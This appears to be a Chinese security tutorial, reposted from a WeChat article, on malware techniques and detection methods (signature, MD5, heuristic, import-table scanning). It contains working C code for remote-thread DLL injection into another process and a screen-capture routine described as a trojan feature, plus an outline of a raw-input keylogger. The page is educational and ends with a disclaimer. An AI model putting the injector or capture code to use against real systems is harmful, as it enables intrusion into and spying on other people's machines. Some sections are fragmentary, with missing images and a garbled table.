静态分析中最为经典的就是特征码扫描技术(Signature scanning),特征码扫描技术是恶意代码检测的基石,其通过检测二进制文件中是否含有恶意代码特征值来判断文件是否存在威胁,特征码扫描技术依赖于海量已知的恶意代码特征,这些特征绝大部分都是人工逆向提取出来含有一定意义的16进制码,也可能是由程序自动提取得到的特征码。
动态分析的代表就是启发式扫描(HEURISTIC scanning technique),启发式扫描也依赖于特征库,但与特征码静态扫描不同的是,启发式扫描会实时检测系统中存在的进程,当进程作出一些敏感行为时(如修改注册表、格式化磁盘、长时间大量读写文件、隐藏文件、添加启动项、调用未导出的系统函数等等)为该进程累积权值,不同的行为对应了不同的权值,当一个进程权值达到设定的阈值时即可以判定该程序存在恶意行为。
以上的种种检测技术丰富了与恶意代码的对抗手段,同时也提供了对层出不穷的新病毒的检测能力以及应急响应能力。其中大多数检测技术都依赖于一个庞大的特征库,里面包含了已知恶意代码的各种特征,例如:16进制特征、病毒文件的签名特征、病毒行为特征等等。由于特征信息对计算机病毒检测有着举足轻重的作用,所以特征选取的好坏直接决定了病毒扫描的性能。
特征码扫描技术具有一定的通杀性(当然,这取决于特征码选取的好坏),即通过广泛存在于恶意文件中的特征码进行扫描,可以实现一对多的扫描能力(即一条特征码可以匹配多种恶意文件)。
由于特征签名的的唯一性可对一样本实现100%的查杀率,但由于特征签名具有的唯一性,仅能实现一对一(即一个签名值仅能匹配一个恶意文件),这种方法虽然不可能出现误报的情况,但所需的病毒库体量会过于庞大,且只要恶意代码作者重新编译文件或改变任何一个字节,都会使得该签名值无法匹配,但是由于签名计算实现十分简单快速,因此基于特征签名的检测技术适合对突发的一种恶意代码进行应急响应,前提是恶意代码不会动态更新其本体。
导入表分析技术(启发式扫描的一种方式),通过为不同的API赋予不同的权值,一个程序通常会调用多个API,当对一个程序的总和权值累积到阈值时即可判定为恶意程序,这也就说明了导入表分析技术(启发式扫描技术)无法识别病毒的具体类型或名称,同时启发式扫描的误报率也是很高的,但这种识别方式也对防范未知恶意程序有很大贡献。
总结一下,各扫描技术特点如下表:
检测技术 |
是否支持无特征库检测 |
通杀性 |
误报性 |
对未知病毒的检测能力 |
特征码扫描 |
X |
Y |
Y- |
Y-- |
MD5扫描 |
X |
X |
X |
X |
导入表分析 |
X |
Y |
Y+ |
Y+ |
恶意代码注入技术
一个windows程序通常会加载多个动态连接库(dll)文件。例如,一个名为nika.exe的进程中导入了kernel32,gdi32等动态链接库(dll),而恶意代码注入就是将恶意模块加载于正常程序所调用的动态链接库后,以此来执行恶意行为。当对nika.exe注入了一个名为hacker的恶意动态连接库后,我们发现,恶意程序将一个名为hacker.dll的动态连接库放入了nika.exe所链接的库文件中,那么此时hacker.dll中的恶意代码是附加在nika.exe上运行的。
线程注入通过创建远程线程的方式加载恶意动态链接库,通常使用以下函数实现:
-
OpenProcess(打开进程) -
VirtualAllocEx(修改内存空间状态) -
WriteProcessMemory(写入内存至空间) -
LoadLibrary(加载动态链接库) -
CreateRemoteThread(远程创建线程)
-
调用OpenProcess打开目标进程(得到目标进程句柄) -
调用VirtualAllocEx在目标进程中申请一块内存(用于写动态链接库) -
调用WriteProcessMemory将Dll路径写入远程内存空间内 -
调用GetProcAddress获取 LoadLibrary在Kernel32中的地址(方便后续远程调用LoadLibrary加载动态链接库) -
调用CreateRemoteThread创建一个远程线程,用于调用LoadLibrary加载动态链接库 -
关闭目标句柄
第一步:实现一个简单的程序(输出Hallo World),作为被注入程序。
代码如下:
#include <stdio.h>
int main()
{
printf("Hallo World!n");
getchar();
return 0;
}`
*代码中的getchar函数是防止程序输出字符串后直接退出,从而无法观察到实验现象而使用的。
第二步:新建一个项目(动态链接库项目),用以下代码实现简单弹窗:
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
HANDLE hHandle = GetCurrentProcess();
DWORD pressID = GetProcessId(hHandle);
char temp[100] = { 0 };
sprintf(temp, "I am Form pressID = %d", pressID);
MessageBoxA(0, temp, "Success!", MB_OK);
break;
}
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
* DLL_PROCESS_ATTACH表示dll加载成功,case DLL_PROCESS_ATTACH下的代码获取了当前进程PID并且通过 MessageBoxA弹出窗口。这可以更加方便我们理解注入技术。
第三步:再新建一个项目用于远程注入动态链接库,代码如下:
#include <stdio.h>
#include <Windows.h>
int main()
{
printf("请输入进程ID:");
DWORD processID = 0;
scanf("%d", &(DWORD)processID);
char dllPath[MAX_PATH];
memset(dllPath, 0x00, sizeof(dllPath));
printf("请输入注入模块路径(绝对路径):");
scanf("%s", dllPath);
LPVOID pathSize = lstrlen(dllPath) + 1;
HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
if (hHandle == NULL)
{
printf("远程进程打开失败!n");
getchar();
return -1;
}
LPVOID NewMemoryAddress = VirtualAllocEx(hHandle, NULL, pathSize, MEM_COMMIT, PAGE_READWRITE);
if (NewMemoryAddress == NULL)
{
printf("远程进程空间创建失败!n");
getchar();
return -1;
}
SIZE_T real_size = 0;
if (WriteProcessMemory(hHandle, NewMemoryAddress, dllPath, pathSize, &real_size) == FALSE)
{
printf("远程进程空间写入失败!n");
getchar();
return -1;
}
printf("写入目标进程空间成功[写入 %zu 字节]n", real_size);
FARPROC LoadFun = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (LoadFun == NULL)
{
printf("获取LoadLibrary函数地址失败!n");
getchar();
return -1;
}
HANDLE rHandle = CreateRemoteThread(hHandle, NULL, 0, (LPTHREAD_START_ROUTINE)LoadFun, NewMemoryAddress, 0, NULL);
if (rHandle == NULL)
{
printf("远程调用LoadLibrary注入失败!n");
getchar();
return -1;
}
CloseHandle(hHandle);
printf("注入成功!n");
getchar();
return 0;
}
*其中 processID是目标进程的进程ID,而 dllPath是第二步中生成的Dll文件的路径(注意需要使用DLL的绝对路径)
常见的加密方法大致分为以下几类:
以上就是两大类的加密类型,下面介绍一下文件加密模式:
-
静态加密:对文件加密后得到一份加密文件,当需要使用时在手动使用解密算法对加密文件进行解密,解密后即可正常访问文件。 -
动态加密:对文件进行动态加密,实时检测访问文件用户合法性,对于合法用户在访问文件时进行实时解密,在用户关闭文件时重新加密,无需手动解密加密文件,动态加密能够做到加解密全过程透明无感,所以动态加密技术也成为透明加密。
键盘记录技术
注册原始输入设备(RegisterRawInputDevices) → 获取原始输入数据(GetInputRawData) → 记录键盘数据至文件
其中需要一张ASCLL码对应键位信息表,这需要自定义,以实现按键对应ASCLL码的查询与记录。
屏幕截取技术
屏幕截取技术同样是木马远控等程序常有的功能。通过截取目标机器屏幕,可以使远控端查看目标当前所处状态及操作。截取屏幕可以使GetDC来实现,GetDc可以进行绘图。
#include <stdio.h>
#include <Windows.h>
#include <atlimage.h>
int PrintScreen()
{
HWND hWnd;
HDC hdc;
HBITMAP bmp;
HGDIOBJ bmp_t;
HDC mdc;
unsigned int width = 0;
unsigned int hight = 0;
hWnd = GetDesktopWindow();
hdc = GetDC(hWnd);
mdc = CreateCompatibleDC(hdc);
width = GetSystemMetrics(SM_CXSCREEN);
hight = GetSystemMetrics(SM_CYSCREEN);
bmp = CreateCompatibleBitmap(hdc, width, hight);
bmp_t = SelectObject(mdc, bmp);
BitBlt(mdc, NULL, NULL, width, hight, hdc, NULL, NULL, SRCCOPY);
CImage image;
image.Attach(bmp);
image.Save("ScreenPrint.jpg");
return 0;
}
int main(void)
{
PrintScreen();
}
恶意代码检测技术原理论述 MD5检测技术
MD5检测技术是指通过MD5算法对恶意文件生成一串长度固定,且唯一的MD5值,通过大量样本的计算,将多个恶意文件的MD5值保存至文件便成为了MD5病毒库,在检测一个新程序是否是恶意文件时我们只需要对这个文件用相同的MD5算法进行运算,得到的MD5值进入数据库内查询,如果匹配到了,那么我们可以判断,这一定是一个恶意文件。 MD5由于计算快速简便且不会发生误报的现象,大部分恶意代码检测引擎都有对文件MD5的检测。但由于MD5的唯一性,哪怕恶意文件中1个字节发生了改变,MD5也会随之发生改变。这样就出现了另一种优化的MD5检测方法,通过查找PE文件的.text节(即代码段),对其进行MD5值运算,这样得出的MD5值相较先前更好一点。当然了,现在也有一种模糊哈希的计算方法,通过对恶意文件分片计算哈希值可以对比出两个文件的相似度。这种算法更适合对恶意文件进行检测。接下来我们通过一个图片加深对MD5检测技术的了解: 上图简单表明了一个基础的MD5检测病毒的示例,通过计算待测文件MD5与病毒库内保存的恶意文件MD5值比对,当MD5值A与MD5值B相同时则匹配到恶意文件,反之则为正常文件。 特征码检测技术
接下来我们来了解特征码检测技术,特征码检测技术是一种静态检测方式,特征码检测技术通过在二进制文件中查找指定的特征码(通常是十六进制)进行比对分析来判定程序是否存在威胁。
-
特征码( Signature ):特征码通常为十六进制码,特征码可以是二进制文件中特定的字符串(如熊猫烧香病毒中的“xboy”字符串,转换为十六进制特征码0x78 0x62 0x6f 0x79),还可以是一段汇编指令或其他特征。特征码不再是简单的一对一(即一条特征码对应一个病毒)而可以做到一条特征码可以匹配多个病毒(即具有通杀性)。 -
特征码匹配 :特征码匹配是特征码检测技术中的一部分,我们通常将特征码匹配的算法成为特征码扫描引擎。
下图简述了导入表分析技术的流程:
沙盒模拟技术
原文始发于微信公众号(FreeBuf):恶意代码技术及恶意代码检测技术原理与实现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论